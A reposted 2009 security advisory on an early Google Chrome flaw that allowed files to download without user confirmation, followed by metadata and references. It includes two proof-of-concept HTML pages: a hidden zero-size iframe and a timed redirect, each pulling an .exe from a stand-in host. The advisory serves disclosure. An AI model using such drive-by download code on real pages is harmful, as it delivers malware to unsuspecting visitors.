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Written by nerex   
Monday, 30 March 2009 22:13
Google Chrome Arbitrary File Download Vulnerability


-\\Bugtraq ID:
31000

-\\Class:
Design Error

-\\CVE:


-\\Remote:
Yes

-\\Local:
No

-\\Published:
Sep 03 2008 12:00AM

-\\Updated:
Mar 30 2009 08:26PM

-\\Credit:
nerex



-\\Vulnerable:
Google Chrome 0.2.149 27



-\\Discussion
Google Chrome is prone to a security vulnerability because the application allows users to download arbitrary files without confirmation.

This issue may allow attackers to perform social-engineering or other attacks to trick users into downloading a malicious file.



-\\Exploit(s)/PoC(s):
Attackers can use social engineering or other techniques to trick an unsuspecting user into downloading a malicious file.

UPDATE (March 30, 2009): This issue is being exploited in the wild.

The following examples are available:

===============================================================
31000.html
^^^^^^^^^^^
<script>
document.write(&#039;<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">&#039;);
</script>


===============================================================
31000-2.html
^^^^^^^^^^^^^
<html>
<head>
<title>Chrome Auto download Exploit .. By HACKERS PAL</title>
<script>
function soft_download()
{
    window.setTimeout("location.href=&#039;http://localhost/1.exe&#039;", 3000);
}
-->
</script>
</head>

<body style="background-color:#000000;" onload="show();">
<script>
<!--
     soft_download();
exec(&#039;dir&#039;);
-->
</script>
<font color="red" size="4"><b>
########################################################<br>
# Google Chrome Auto download :)<br>
# <br>
# Discovered By : HACKERS PAL<br>
# Copy rights : HACKERS PAL<br>
# Website : <a href="http://www.soqor.net">WwW.SoQoR.NeT</a><br>
# Email Address : <a href=" This e-mail address is being protected from spambots. You need JavaScript enabled to view it "> This e-mail address is being protected from spambots. You need JavaScript enabled to view it </a><br>
#<br>
# Tested Successfully on Google Chrome Build 1798
<br>
########################################################
</b></font>




-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: This e-mail address is being protected from spambots. You need JavaScript enabled to view it .



-\\References(s)
--Google Chrome Homepage
http://www.google.com/chrom  (Google)
--Google Chrome Auto download exploit ..
http://www.securityfocus.com/archive/1/49604  ( This e-mail address is being protected from spambots. You need JavaScript enabled to view it )
--Google Chrome Automatic File Download
http://www.securityfocus.com/archive/1/49594  ( This e-mail address is being protected from spambots. You need JavaScript enabled to view it )
--RE: Google Chrome Automatic File Download
http://www.securityfocus.com/archive/1/49595  (James C. Slora Jr. < This e-mail address is being protected from spambots. You need JavaScript enabled to view it >)
--RES: Google Chrome Automatic File Download
http://www.securityfocus.com/archive/1/49595  (DIOGO LEAL CHAGAS < This e-mail address is being protected from spambots. You need JavaScript enabled to view it >)
 

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